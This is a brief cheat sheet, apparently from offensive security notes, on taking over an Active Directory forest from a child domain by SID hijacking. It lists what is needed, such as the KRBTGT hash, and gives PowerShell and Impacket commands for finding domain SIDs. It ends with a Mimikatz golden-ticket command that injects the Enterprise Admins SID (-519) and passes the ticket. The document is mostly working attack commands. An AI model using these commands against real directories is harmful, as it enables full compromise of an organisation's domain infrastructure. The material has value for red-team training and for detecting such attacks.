# Child Domain to Forest Compromise - SID Hijacking

Most trees are linked with dual sided trust relationships to allow for sharing of resources.
By default the first domain created if the Forest Root.

**Requirements**: 
- KRBTGT Hash
- Find the SID of the domain
    ```powershell
    $ Convert-NameToSid target.domain.com\krbtgt
    S-1-5-21-2941561648-383941485-1389968811-502

    # with Impacket
    lookupsid.py domain/user:password@10.10.10.10
    ```
- Replace 502 with 519 to represent Enterprise Admins
- Create golden ticket and attack parent domain. 
    ```powershell
    kerberos::golden /user:Administrator /krbtgt:HASH_KRBTGT /domain:domain.local /sid:S-1-5-21-2941561648-383941485-1389968811 /sids:S-1-5-SID-SECOND-DOMAIN-519 /ptt
    ```